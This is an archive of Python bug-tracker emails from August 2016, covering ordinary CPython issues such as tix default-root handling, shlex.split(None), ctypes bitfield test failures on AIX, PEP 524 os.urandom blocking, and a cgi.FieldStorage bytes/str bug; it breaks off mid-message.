patch versions: +Python 3.6 -Python 2.7, Python 3.3, Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 03:09:46 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 16 Aug 2016 07:09:46 +0000 Subject: [issue27611] test_tix cannot import _default_root after test_idle In-Reply-To: <1469412436.77.0.964864196793.issue27611@psf.upfronthosting.co.za> Message-ID: <1471331386.82.0.357448686963.issue27611@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Terry, you committed not full patch. The tix module still doesn't work after NoDefaultRoot(). ---------- status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 03:14:37 2016 From: report at bugs.python.org (Gregory P. Smith) Date: Tue, 16 Aug 2016 07:14:37 +0000 Subject: [issue27768] ssl: add public API for IA-32 processor capabilities vector In-Reply-To: <1471269307.92.0.240465818653.issue27768@psf.upfronthosting.co.za> Message-ID: <1471331677.78.0.743663090516.issue27768@psf.upfronthosting.co.za> Gregory P. Smith added the comment: This is very architecture specific and focused on low level information that you can also already get from places like /proc/cpuinfo on Linux. Also, regardless of what capability bits a CPU exposes that has nothing to do with what accelerations the underlying library implementation itself actually supports. For your example purpose of choosing which algorithm to use, testing the actual performance of each option in your code at startup time seems more foolproof in any application running long enough for performance to be an issue. I expect in most common situations you can just use ctypes to call this function from openssl if you feel you must use it. I'm not convinced it belongs in the stdlib. ---------- nosy: +gregory.p.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 03:19:24 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 16 Aug 2016 07:19:24 +0000 Subject: [issue27611] test_tix cannot import _default_root after test_idle In-Reply-To: <1469412436.77.0.964864196793.issue27611@psf.upfronthosting.co.za> Message-ID: <1471331964.71.0.866482151917.issue27611@psf.upfronthosting.co.za> Terry J. Reedy added the comment: What do you mean by 'does not work' and what did I omit? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 04:27:37 2016 From: report at bugs.python.org (Ram Rachum) Date: Tue, 16 Aug 2016 08:27:37 +0000 Subject: [issue27775] `shlex.split(None)` causes infinite loop Message-ID: <1471336057.05.0.0455905912371.issue27775@psf.upfronthosting.co.za> New submission from Ram Rachum: I had a code that would freeze, and after debugging I realized that a bug in my code caused `shlex.split(None)` to be called, which puts Python in an infinite loop. We probably want to do an `if not isinstance(s, ...): raise TypeError('Bla bla')` at the start of the `shlex` function, or maybe at `shlex.__init__`, or maybe both. What bothers me though, is that it seems that shlex can accept both a string and a stream, so we should allow both of these and not others. Now, I don't know how to check whether it's a proper stream. Would `isinstance(s, io.IOBase)` be good enough? Will it catch all of the streams that people might use in `shlex.split`? (Also, I recently proposed something related in python-ideas: https://groups.google.com/forum/#!searchin/python-ideas/stream%7Csort:relevance/python-ideas/uYlnnH52VEA/PSHkQRtaBwAJ ) ---------- components: Library (Lib) messages: 272847 nosy: cool-RR priority: normal severity: normal status: open title: `shlex.split(None)` causes infinite loop type: crash versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 04:57:47 2016 From: report at bugs.python.org (Lele Gaifax) Date: Tue, 16 Aug 2016 08:57:47 +0000 Subject: [issue27645] Supporting native backup facility of SQLite In-Reply-To: <1469728098.24.0.732586701981.issue27645@psf.upfronthosting.co.za> Message-ID: <1471337867.53.0.587309297101.issue27645@psf.upfronthosting.co.za> Lele Gaifax added the comment: I guess the chance of getting this merged before the 3.6 betas is very low, but if there is *anything* I could do to raise it, please tell :-) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 06:30:21 2016 From: report at bugs.python.org (STINNER Victor) Date: Tue, 16 Aug 2016 10:30:21 +0000 Subject: [issue27038] Make os.DirEntry exist In-Reply-To: <1463413415.02.0.145090656269.issue27038@psf.upfronthosting.co.za> Message-ID: <1471343421.75.0.825129143838.issue27038@psf.upfronthosting.co.za> STINNER Victor added the comment: Brendan Moloney: Please open a thread on the python-ideas mailing list to discuss your idea. Please don't start discussing on a *closed* issue: since an issue is closed, it's hidden from the main bug tracker and so only very few people see it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 06:57:30 2016 From: report at bugs.python.org (Michael Felt) Date: Tue, 16 Aug 2016 10:57:30 +0000 Subject: [issue27643] test_ctypes fails on AIX with xlc In-Reply-To: <1470301084.91.0.959214688936.issue27643@psf.upfronthosting.co.za> Message-ID: Michael Felt added the comment: On 8/4/2016 10:58 AM, Martin Panter wrote: > Can you figure out a way to test for XLC (but not GCC, which the AIX buildbot uses), and then try my patch out? Hopefully you see no more compiler warnings, test_ints() should now pass, and test_shorts() should be skipped. Was not as simple as it sounds. I could not find a specific parameter provided by xlc and as you wanted something that would only skip on AIX - testing for __GNUC__ (in the positive sense) will not work either. What I am thinking of now is #if defined(__GNUC__) || !defined(_AIX) ... #endif As this will pass on AIX when GCC is used, but only be skipped on AIX when GCC is not used. +++++++++++++++++++++++++++++++++++++++++++++++++++++ More TESTS ++++ Summary - maybe the problem is with the "byref()" routine... ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ My initial test of the patch confused me, so I went back to the original code - and started again. I have three partitions I am testing on - x064 (AIX 5.3 TL7, vac v.11); x065 (AIX 5.3 TL7, gcc 4.7.4), and x067 ( Debian 3.16.7-ckt9-3 (2015-04-23) ppc64, gcc (Debian 5.3.1-21) 5.3.1 20160528) My working directory is /data/prj/aixtools/python/python-2.7.12.0 which is a copy of the extracted Python-2.7.12. This directory is on NFS, so each system is using the same files as source: The first builds - no changes - expect to test_bitfields.py: ##for n in "ABCDEFGHIMNOPQRS": ## print n, hex(getattr(BITS, n).size), getattr(BITS, n).offset for n in "ABCDEFGHIMNOPQRS": b = BITS() print n, hex(getattr(BITS, n).size), getattr(BITS, n).offset, func(byref(b), n) x065: root at x065:[/data/prj/aixtools/python/python-2.7.12.0]./python Lib/ctypes/test/test_bitfields.py A 0x1001f 0 0 B 0x2001d 0 0 C 0x3001a 0 0 D 0x40016 0 0 E 0x50011 0 0 F 0x6000b 0 0 G 0x70004 0 0 H 0x80018 4 0 I 0x9000f 4 0 M 0x1000e 6 0 N 0x2000c 6 0 O 0x30009 6 0 P 0x40005 6 0 Q 0x50000 6 0 R 0x6000a 8 0 S 0x70003 8 0 root at x067:/data/prj/aixtools/python/python-2.7.12.0# ./python Lib/ctypes/test/test_bitfields.py A 0x1001f 0 0 B 0x2001d 0 0 C 0x3001a 0 0 D 0x40016 0 0 E 0x50011 0 0 F 0x6000b 0 0 G 0x70004 0 0 H 0x80018 4 0 I 0x9000f 4 0 M 0x1000e 6 0 N 0x2000c 6 0 O 0x30009 6 0 P 0x40005 6 0 Q 0x50000 6 0 R 0x6000a 8 0 S 0x70003 8 0 ................... ---------------------------------------------------------------------- Ran 19 tests in 0.087s OK root at x064:[/data/prj/aixtools/python/python-2.7.12.0]./python Lib/ctypes/test/test_bitfields.py A 0x1001f 0 0 B 0x2001d 0 0 C 0x3001a 0 0 D 0x40016 0 0 E 0x50011 0 0 F 0x6000b 0 0 G 0x70004 0 0 H 0x80018 4 0 I 0x9000f 4 0 M 0x1000e 6 0 N 0x2000c 6 0 O 0x30009 6 0 P 0x40005 6 0 Q 0x50000 6 0 R 0x6000a 8 0 S 0x70003 8 0 .................FF ====================================================================== FAIL: test_ints (__main__.C_Test) ---------------------------------------------------------------------- Traceback (most recent call last): File "Lib/ctypes/test/test_bitfields.py", line 45, in test_ints self.assertEqual((name, i, getattr(b, name)), (name, i, func(byref(b), name))) AssertionError: Tuples differ: ('A', 1, -1) != ('A', 1, 1) First differing element 2: -1 1 - ('A', 1, -1) ? - + ('A', 1, 1) ====================================================================== FAIL: test_shorts (__main__.C_Test) ---------------------------------------------------------------------- Traceback (most recent call last): File "Lib/ctypes/test/test_bitfields.py", line 52, in test_shorts self.assertEqual((name, i, getattr(b, name)), (name, i, func(byref(b), name))) AssertionError: Tuples differ: ('M', 1, -1) != ('M', 1, 1) First differing element 2: -1 1 - ('M', 1, -1) ? - + ('M', 1, 1) ---------------------------------------------------------------------- Ran 19 tests in 0.010s FAILED (failures=2) root at x064:[/data/prj/aixtools/python/python-2.7.12.0] Changed the test again to include: ##for n in "ABCDEFGHIMNOPQRS": ## print n, hex(getattr(BITS, n).size), getattr(BITS, n).offset for n in "ABCDEFGHIMNOPQRS": b = BITS() print n, hex(getattr(BITS, n).size), getattr(BITS, n).offset, getattr(b,n), func(byref(b), n) root at x064:[/data/prj/aixtools/python/python-2.7.12.0]./python Lib/ctypes/test/test_bitfields.py A 0x1001f 0 0 0 B 0x2001d 0 0 0 C 0x3001a 0 0 0 D 0x40016 0 0 0 E 0x50011 0 0 0 F 0x6000b 0 0 0 G 0x70004 0 0 0 H 0x80018 4 0 0 I 0x9000f 4 0 0 M 0x1000e 6 0 0 N 0x2000c 6 0 0 O 0x30009 6 0 0 P 0x40005 6 0 0 Q 0x50000 6 0 0 R 0x6000a 8 0 0 S 0x70003 8 0 0 .................FF ====================================================================== FAIL: test_ints (__main__.C_Test) ---------------------------------------------------------------------- Traceback (most recent call last): File "Lib/ctypes/test/test_bitfields.py", line 45, in test_ints self.assertEqual((name, i, getattr(b, name)), (name, i, func(byref(b), name))) AssertionError: Tuples differ: ('A', 1, -1) != ('A', 1, 1) First differing element 2: -1 1 - ('A', 1, -1) ? - + ('A', 1, 1) ====================================================================== FAIL: test_shorts (__main__.C_Test) ---------------------------------------------------------------------- Traceback (most recent call last): File "Lib/ctypes/test/test_bitfields.py", line 52, in test_shorts self.assertEqual((name, i, getattr(b, name)), (name, i, func(byref(b), name))) AssertionError: Tuples differ: ('M', 1, -1) != ('M', 1, 1) First differing element 2: -1 1 - ('M', 1, -1) ? - + ('M', 1, 1) ---------------------------------------------------------------------- Ran 19 tests in 0.010s FAILED (failures=2) ********************************************************************** So, I am wondering if the problem could be better repaired in setattr(b, name, i) And changed the test again: 1) comment out the initial changes 2) the following changes (note range limited to 5 for both, rather 512 for first and 256 for second) class C_Test(unittest.TestCase): def test_ints(self): for i in range(5): for name in "ABCDEFGHI": b = BITS() setattr(b, name, i) print "name:", name, "range:", i, "getattr():", getattr(b,name), "byref():", func(byref(b), name) # self.assertEqual((name, i, getattr(b, name)), (name, i, func(byref(b), name))) def test_shorts(self): for i in range(5): for name in "MNOPQRS": b = BITS() setattr(b, name, i) print "name:", name, "range:", i, "getattr():", getattr(b,name), "byref():", func(byref(b), name) # self.assertEqual((name, i, getattr(b, name)), (name, i, func(byref(b), name))) *************************** And for most tests (remember the range is 5 now) - all is fine root at x064:[/data/prj/aixtools/python/python-2.7.12.0]./python Lib/ctypes/test/test_bitfields.py .................name: A range: 0 getattr(): 0 byref(): 0 name: B range: 0 getattr(): 0 byref(): 0 name: C range: 0 getattr(): 0 byref(): 0 name: D range: 0 getattr(): 0 byref(): 0 name: E range: 0 getattr(): 0 byref(): 0 name: F range: 0 getattr(): 0 byref(): 0 name: G range: 0 getattr(): 0 byref(): 0 name: H range: 0 getattr(): 0 byref(): 0 name: I range: 0 getattr(): 0 byref(): 0 name: A range: 1 getattr(): -1 byref(): 1 name: B range: 1 getattr(): 1 byref(): 1 name: C range: 1 getattr(): 1 byref(): 1 name: D range: 1 getattr(): 1 byref(): 1 name: E range: 1 getattr(): 1 byref(): 1 name: F range: 1 getattr(): 1 byref(): 1 name: G range: 1 getattr(): 1 byref(): 1 name: H range: 1 getattr(): 1 byref(): 1 name: I range: 1 getattr(): 1 byref(): 1 name: A range: 2 getattr(): 0 byref(): 0 name: B range: 2 getattr(): -2 byref(): 2 name: C range: 2 getattr(): 2 byref(): 2 name: D range: 2 getattr(): 2 byref(): 2 name: E range: 2 getattr(): 2 byref(): 2 name: F range: 2 getattr(): 2 byref(): 2 name: G range: 2 getattr(): 2 byref(): 2 name: H range: 2 getattr(): 2 byref(): 2 name: I range: 2 getattr(): 2 byref(): 2 name: A range: 3 getattr(): -1 byref(): 1 name: B range: 3 getattr(): -1 byref(): 3 name: C range: 3 getattr(): 3 byref(): 3 name: D range: 3 getattr(): 3 byref(): 3 name: E range: 3 getattr(): 3 byref(): 3 name: F range: 3 getattr(): 3 byref(): 3 name: G range: 3 getattr(): 3 byref(): 3 name: H range: 3 getattr(): 3 byref(): 3 name: I range: 3 getattr(): 3 byref(): 3 name: A range: 4 getattr(): 0 byref(): 0 name: B range: 4 getattr(): 0 byref(): 0 name: C range: 4 getattr(): -4 byref(): 4 name: D range: 4 getattr(): 4 byref(): 4 name: E range: 4 getattr(): 4 byref(): 4 name: F range: 4 getattr(): 4 byref(): 4 name: G range: 4 getattr(): 4 byref(): 4 Back to x065... root at x065:[/data/prj/aixtools/python/python-2.7.12.0]./python Lib .................name: A range: 0 getattr(): 0 byref(): 0 name: B range: 0 getattr(): 0 byref(): 0 name: C range: 0 getattr(): 0 byref(): 0 name: D range: 0 getattr(): 0 byref(): 0 name: E range: 0 getattr(): 0 byref(): 0 name: F range: 0 getattr(): 0 byref(): 0 name: G range: 0 getattr(): 0 byref(): 0 name: H range: 0 getattr(): 0 byref(): 0 name: I range: 0 getattr(): 0 byref(): 0 name: A range: 1 getattr(): -1 byref(): -1 name: B range: 1 getattr(): 1 byref(): 1 name: C range: 1 getattr(): 1 byref(): 1 name: D range: 1 getattr(): 1 byref(): 1 name: E range: 1 getattr(): 1 byref(): 1 name: F range: 1 getattr(): 1 byref(): 1 name: G range: 1 getattr(): 1 byref(): 1 name: H range: 1 getattr(): 1 byref(): 1 name: I range: 1 getattr(): 1 byref(): 1 name: A range: 2 getattr(): 0 byref(): 0 name: B range: 2 getattr(): -2 byref(): -2 name: C range: 2 getattr(): 2 byref(): 2 name: D range: 2 getattr(): 2 byref(): 2 name: E range: 2 getattr(): 2 byref(): 2 name: F range: 2 getattr(): 2 byref(): 2 name: G range: 2 getattr(): 2 byref(): 2 name: H range: 2 getattr(): 2 byref(): 2 name: I range: 2 getattr(): 2 byref(): 2 name: A range: 3 getattr(): -1 byref(): -1 name: B range: 3 getattr(): -1 byref(): -1 name: C range: 3 getattr(): 3 byref(): 3 name: D range: 3 getattr(): 3 byref(): 3 name: E range: 3 getattr(): 3 byref(): 3 name: F range: 3 getattr(): 3 byref(): 3 name: G range: 3 getattr(): 3 byref(): 3 name: H range: 3 getattr(): 3 byref(): 3 name: I range: 3 getattr(): 3 byref(): 3 name: A range: 4 getattr(): 0 byref(): 0 name: B range: 4 getattr(): 0 byref(): 0 name: C range: 4 getattr(): -4 byref(): -4 name: D range: 4 getattr(): 4 byref(): 4 name: E range: 4 getattr(): 4 byref(): 4 name: F range: 4 getattr(): 4 byref(): 4 name: G range: 4 getattr(): 4 byref(): 4 name: H range: 4 getattr(): 4 byref(): 4 name: I range: 4 getattr(): 4 byref(): 4 .name: M range: 0 getattr(): 0 byref(): 0 name: N range: 0 getattr(): 0 byref(): 0 name: O range: 0 getattr(): 0 byref(): 0 name: P range: 0 getattr(): 0 byref(): 0 name: Q range: 0 getattr(): 0 byref(): 0 name: R range: 0 getattr(): 0 byref(): 0 name: S range: 0 getattr(): 0 byref(): 0 name: M range: 1 getattr(): -1 byref(): -1 name: N range: 1 getattr(): 1 byref(): 1 name: O range: 1 getattr(): 1 byref(): 1 name: P range: 1 getattr(): 1 byref(): 1 name: Q range: 1 getattr(): 1 byref(): 1 name: R range: 1 getattr(): 1 byref(): 1 name: S range: 1 getattr(): 1 byref(): 1 name: M range: 2 getattr(): 0 byref(): 0 name: N range: 2 getattr(): -2 byref(): -2 name: O range: 2 getattr(): 2 byref(): 2 name: P range: 2 getattr(): 2 byref(): 2 name: Q range: 2 getattr(): 2 byref(): 2 name: R range: 2 getattr(): 2 byref(): 2 name: S range: 2 getattr(): 2 byref(): 2 name: M range: 3 getattr(): -1 byref(): -1 name: N range: 3 getattr(): -1 byref(): -1 name: O range: 3 getattr(): 3 byref(): 3 name: P range: 3 getattr(): 3 byref(): 3 name: Q range: 3 getattr(): 3 byref(): 3 name: R range: 3 getattr(): 3 byref(): 3 name: S range: 3 getattr(): 3 byref(): 3 name: M range: 4 getattr(): 0 byref(): 0 name: N range: 4 getattr(): 0 byref(): 0 name: O range: 4 getattr(): -4 byref(): -4 name: P range: 4 getattr(): 4 byref(): 4 name: Q range: 4 getattr(): 4 byref(): 4 name: R range: 4 getattr(): 4 byref(): 4 name: S range: 4 getattr(): 4 byref(): 4 . ----------------------------------------------------------------- Ran 19 tests in 0.056s OK Now looking at the results - it seems the byref() function is where the difference lies - as getattr() returns the same value for both x064/xlc and x065/gcc Hope this helps! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 08:43:40 2016 From: report at bugs.python.org (Stefan Krah) Date: Tue, 16 Aug 2016 12:43:40 +0000 Subject: [issue27734] Memory leaks at Python35-32 In-Reply-To: <1470892075.99.0.402535403449.issue27734@psf.upfronthosting.co.za> Message-ID: <1471351420.23.0.55043388946.issue27734@psf.upfronthosting.co.za> Stefan Krah added the comment: #15787. All Python versions have these leaks, which aren't terribly important in practice. If it still bothers you, consider writing a Python C extension instead of "embedding" Python, which is what most people do anyway. ---------- status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 08:55:06 2016 From: report at bugs.python.org (STINNER Victor) Date: Tue, 16 Aug 2016 12:55:06 +0000 Subject: [issue27776] PEP 524: Make os.urandom() blocking on Linux Message-ID: <1471352106.68.0.0657257565728.issue27776@psf.upfronthosting.co.za> New submission from STINNER Victor: Issue to track the implementation of the PEP 524. ---------- messages: 272852 nosy: haypo priority: normal severity: normal status: open title: PEP 524: Make os.urandom() blocking on Linux type: security versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 09:08:31 2016 From: report at bugs.python.org (Decorater) Date: Tue, 16 Aug 2016 13:08:31 +0000 Subject: [issue27776] PEP 524: Make os.urandom() blocking on Linux In-Reply-To: <1471352106.68.0.0657257565728.issue27776@psf.upfronthosting.co.za> Message-ID: <1471352911.39.0.743046978076.issue27776@psf.upfronthosting.co.za> Decorater added the comment: Wow. ( linux only pep? inb4 a windows thing gets wedged in) ---------- nosy: +Decorater _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 09:09:07 2016 From: report at bugs.python.org (R. David Murray) Date: Tue, 16 Aug 2016 13:09:07 +0000 Subject: [issue27734] Memory leaks at Python35-32 In-Reply-To: <1470892075.99.0.402535403449.issue27734@psf.upfronthosting.co.za> Message-ID: <1471352947.42.0.489638234765.issue27734@psf.upfronthosting.co.za> Changes by R. David Murray : ---------- superseder: -> PEP 3121, 384 Refactoring _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 09:19:40 2016 From: report at bugs.python.org (R. David Murray) Date: Tue, 16 Aug 2016 13:19:40 +0000 Subject: [issue27775] `shlex.split(None)` causes infinite loop In-Reply-To: <1471336057.05.0.0455905912371.issue27775@psf.upfronthosting.co.za> Message-ID: <1471353580.27.0.558548624099.issue27775@psf.upfronthosting.co.za> R. David Murray added the comment: This is working as designed. None means read from stdin. It is already documented in a note under shlex.split, so there isn't a doc issue here either. (Aside: 'crash' means segfault, which this isn't.) You could try to recast this as a feature request, but I think backward compatibility would shoot that down. You could raise it on python-ideas if you want to, but it is quite likely that *someone* is using this feature, so I don't think it likely we'll want to change it. ---------- nosy: +r.david.murray resolution: -> not a bug stage: -> resolved status: open -> closed type: crash -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 09:25:02 2016 From: report at bugs.python.org (Roundup Robot) Date: Tue, 16 Aug 2016 13:25:02 +0000 Subject: [issue27776] PEP 524: Make os.urandom() blocking on Linux In-Reply-To: <1471352106.68.0.0657257565728.issue27776@psf.upfronthosting.co.za> Message-ID: <20160816132458.19413.54226.0C13A12D@psf.io> Roundup Robot added the comment: New changeset 980e2c781810 by Victor Stinner in branch 'default': Issue #27776: Cleanup random.c https://hg.python.org/cpython/rev/980e2c781810 New changeset 265644bad99e by Victor Stinner in branch 'default': Issue #27776: _PyRandom_Init() doesn't call PyErr_CheckSignals() anymore https://hg.python.org/cpython/rev/265644bad99e ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 09:55:46 2016 From: report at bugs.python.org (rr-) Date: Tue, 16 Aug 2016 13:55:46 +0000 Subject: [issue27777] cgi.FieldStorage can't parse simple body with Content-Length and no Content-Disposition Message-ID: <1471355745.98.0.805545529346.issue27777@psf.upfronthosting.co.za> New submission from rr-: Sending requests with Content-Length but without Content-Disposition headers causes following error: Traceback (most recent call last): File "./test", line 19, in form = cgi.FieldStorage(fp=env['wsgi.input'], environ=env) File "/usr/lib/python3.5/cgi.py", line 561, in __init__ self.read_single() File "/usr/lib/python3.5/cgi.py", line 740, in read_single self.read_binary() File "/usr/lib/python3.5/cgi.py", line 762, in read_binary self.file.write(data) TypeError: write() argument must be str, not bytes I've attached a test file that reproduces the issue. The issue is because read_single decides whether to read the content as binary or text depending on content-length - if it's > 0, it uses read_binary which assumes binary input, and rewrites this input to self.file, assuming self.file is opened in binary mode. At the same, self.file is opened in text mode, because self._binary_file is set to False, which in turn is because there's no Content-Disposition header. At very least, the decision whether to use binary or text should be consistent in both places (self.length >= 0 vs self._binary_file). Related: https://bugs.python.org/issue27308 Note that unlike https://bugs.python.org/issue24764 this issue does NOT concern multipart requests. ---------- components: Library (Lib) files: test messages: 272856 nosy: rr- priority: normal severity: normal status: open title: cgi.FieldStorage can't parse simple body with Content-Length and no Content-Disposition versions: Python 3.5 Added file: http://bugs.python.org/file44124/test _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 10:12:17 2016 From: report at bugs.python.org (Decorater) Date: Tue, 16 Aug 2016 14:12:17 +0000 Subject: [issue27777] cgi.FieldStorage can't parse simple body with Content-Length and no Content-Disposition In-Reply-To: <1471355745.98.0.805545529346.issue27777@psf.upfronthosting.co.za> Message-ID: <1471356737.49.0.405719401735.issue27777@psf.upfronthosting.co.za> Decorater added the comment: hmm into looking it should check if it is in actuality a binary file the length of the file data does not really determine anything on encoding really. if self._binary_file: would suffice on determining binary mode or not. ---------- nosy: +Decorater _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 10:16:13 2016 From: report at bugs.python.org (Decorater) Date: Tue, 16 Aug 2016 14:16:13 +0000 Subject: [issue27777] cgi.FieldStorage can't parse simple body with Content-Length and no Content-Disposition In-Reply-To: <1471355745.98.0.805545529346.issue27777@psf.upfronthosting.co.za> Message-ID: <1471356973.56.0.661533416763.issue27777@psf.upfronthosting.co.za> Decorater added the comment: Here is a patch to review (note I only had disc space to clone 3.6 so I had to manually download this version of the file). ---------- Added file: http://bugs.python.org/file44125/cgi.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 10:24:08 2016 From: report at bugs.python.org (ap) Date: Tue, 16 Aug 2016 14:24:08 +0000 Subject: [issue27594] Assertion failure when running "test_ast" tests with coverage. In-Reply-To: <1469226726.58.0.53789092151.issue27594@psf.upfronthosting.co.za> Message-ID: <1471357448.77.0.393968043886.issue27594@psf.upfronthosting.co.za> ap added the comment: Thanks, Ivan, that change fixes it for me, too. I checked with a more recent revision and build: $ hg identify 265644bad99e+ tip $ ./python.exe --version Python 3.6.0a4+ $ Confirmed that it still exhibited the same behaviour as before: $ ./python.exe -m test test_ast Run tests sequentially 0:00:00 [1/1] test_ast 1 test OK. Total duration: 0:00:06 $ $ ./python.exe -m test --coverage -D`pwd`/coverage_data test_ast Run tests sequentially 0:00:00 [1/1] test_ast Assertion failed: (line > 0), function _PyCode_CheckLineNumber, file Objects/codeobject.c, line 717. Fatal Python error: Aborted Current thread 0x00007fff7b5a7000 (most recent call first): File "test", line 0 in File "/python-dev/cpython/Lib/test/test_ast.py", line 559 in test_level_as_none File "/python-dev/cpython/Lib/unittest/case.py", line 600 in run File "/python-dev/cpython/Lib/unittest/case.py", line 648 in __call__ File "/python-dev/cpython/Lib/unittest/suite.py", line 122 in run File "/python-dev/cpython/Lib/unittest/suite.py", line 84 in __call__ File "/python-dev/cpython/Lib/unittest/suite.py", line 122 in run File "/python-dev/cpython/Lib/unittest/suite.py", line 84 in __call__ File "/python-dev/cpython/Lib/unittest/suite.py", line 122 in run File "/python-dev/cpython/Lib/unittest/suite.py", line 84 in __call__ File "/python-dev/cpython/Lib/test/support/__init__.py", line 1709 in run File "/python-dev/cpython/Lib/test/support/__init__.py", line 1810 in _run_suite File "/python-dev/cpython/Lib/test/support/__init__.py", line 1844 in run_unittest File "/python-dev/cpython/Lib/test/libregrtest/runtest.py", line 179 in test_runner File "/python-dev/cpython/Lib/test/libregrtest/runtest.py", line 180 in runtest_inner File "/python-dev/cpython/Lib/test/libregrtest/runtest.py", line 144 in runtest File "", line 1 in File "/python-dev/cpython/Lib/trace.py", line 469 in runctx File "/python-dev/cpython/Lib/test/libregrtest/main.py", line 330 in run_tests_sequential File "/python-dev/cpython/Lib/test/libregrtest/main.py", line 406 in run_tests File "/python-dev/cpython/Lib/test/libregrtest/main.py", line 466 in _main File "/python-dev/cpython/Lib/test/libregrtest/main.py", line 446 in main File "/python-dev/cpython/Lib/test/libregrtest/main.py", line 508 in main File "/python-dev/cpython/Lib/test/__main__.py", line 2 in File "/python-dev/cpython/Lib/runpy.py", line 85 in _run_code File "/python-dev/cpython/Lib/runpy.py", line 184 in _run_module_as_main Abort trap: 6 $ I applied the change you suggested, and this was the result: $ ./python.exe -m test --coverage -D`pwd`/coverage_data test_ast Run tests sequentially 0:00:00 [1/1] test_ast 1 test OK. lines cov% module (path) 556 1% _collections_abc (/python-dev/cpython/Lib/_collections_abc.py) 147 25% _weakrefset (/python-dev/cpython/Lib/_weakrefset.py) 96 16% abc (/python-dev/cpython/Lib/abc.py) 156 66% ast (/python-dev/cpython/Lib/ast.py) 418 1% codecs (/python-dev/cpython/Lib/codecs.py) 692 0% collections.__init__ (/python-dev/cpython/Lib/collections/__init__.py) 166 8% contextlib (/python-dev/cpython/Lib/contextlib.py) 318 22% dis (/python-dev/cpython/Lib/dis.py) 74 5% genericpath (/python-dev/cpython/Lib/genericpath.py) 103 2% importlib.__init__ (/python-dev/cpython/Lib/importlib/__init__.py) 1776 0% inspect (/python-dev/cpython/Lib/inspect.py) 1228 0% locale (/python-dev/cpython/Lib/locale.py) 170 0% multiprocessing.process (/python-dev/cpython/Lib/multiprocessing/process.py) 612 1% os (/python-dev/cpython/Lib/os.py) 687 0% platform (/python-dev/cpython/Lib/platform.py) 313 5% posixpath (/python-dev/cpython/Lib/posixpath.py) 435 1% sysconfig (/python-dev/cpython/Lib/sysconfig.py) 336 1% test.libregrtest.main (/python-dev/cpython/Lib/test/libregrtest/main.py) 174 29% test.libregrtest.runtest (/python-dev/cpython/Lib/test/libregrtest/runtest.py) 197 27% test.libregrtest.save_env (/python-dev/cpython/Lib/test/libregrtest/save_env.py) 1341 3% test.support.__init__ (/python-dev/cpython/Lib/test/support/__init__.py) 870 98% test.test_ast (/python-dev/cpython/Lib/test/test_ast.py) 461 0% trace (/python-dev/cpython/Lib/trace.py) 285 2% traceback (/python-dev/cpython/Lib/traceback.py) 824 20% unittest.case (/python-dev/cpython/Lib/unittest/case.py) 329 8% unittest.loader (/python-dev/cpython/Lib/unittest/loader.py) 134 20% unittest.result (/python-dev/cpython/Lib/unittest/result.py) 222 44% unittest.suite (/python-dev/cpython/Lib/unittest/suite.py) 134 0% unittest.util (/python-dev/cpython/Lib/unittest/util.py) 384 6% weakref (/python-dev/cpython/Lib/weakref.py) Total duration: 0:00:09 $ ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 10:25:35 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 16 Aug 2016 14:25:35 +0000 Subject: [issue27611] test_tix cannot import _default_root after test_idle In-Reply-To: <1469412436.77.0.964864196793.issue27611@psf.upfronthosting.co.za> Message-ID: <1471357535.3.0.283583502575.issue27611@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: DisplayStyle() fails with AttributeError after NoDefaultRoot(). Should be made following changes: 1. The refwindow option should have priority over _default_root. 2. Add the master keyword-only parameter for creating styles without refwindow (3.6 only). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 11:28:04 2016 From: report at bugs.python.org (Xiang Zhang) Date: Tue, 16 Aug 2016 15:28:04 +0000 Subject: [issue24853] Py_Finalize doesn't clean up PyImport_Inittab In-Reply-To: <1439431834.18.0.462174995045.issue24853@psf.upfronthosting.co.za> Message-ID: <1471361284.35.0.912481518954.issue24853@psf.upfronthosting.co.za> Changes by Xiang Zhang : ---------- nosy: +xiang.zhang _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 11:51:05 2016 From: report at bugs.python.org (wevsty) Date: Tue, 16 Aug 2016 15:51:05 +0000 Subject: [issue27749] python 3.5.2 maybe crash In-Reply-To: <1471028370.6.0.516756873542.issue27749@psf.upfronthosting.co.za> Message-ID: <1471362665.24.0.619292962753.issue27749@psf.upfronthosting.co.za> wevsty added the comment: today?Find a new crash python_d_crash_dump_20160816_A901A6F3.7z?is full crash dump Download address http://o8z0k9748.bkt.clouddn.com/python_d_crash_dump_20160816_A901A6F3.7z dump display crash in the > python35_d.dll!visit_decref(_object * op, void * data) Line 379 C python35_d.dll!dict_traverse(_object * op, int(*)(_object *, void *) visit, void * arg) Line 2534 C python35_d.dll!subtract_refs(_gc_head * containers) Line 401 C python35_d.dll!collect(int generation, __int64 * n_collected, __int64 * n_uncollectable, int nofail) Line 959 C ---------- _______________________________________ Python tracker _______________________________________ From report at 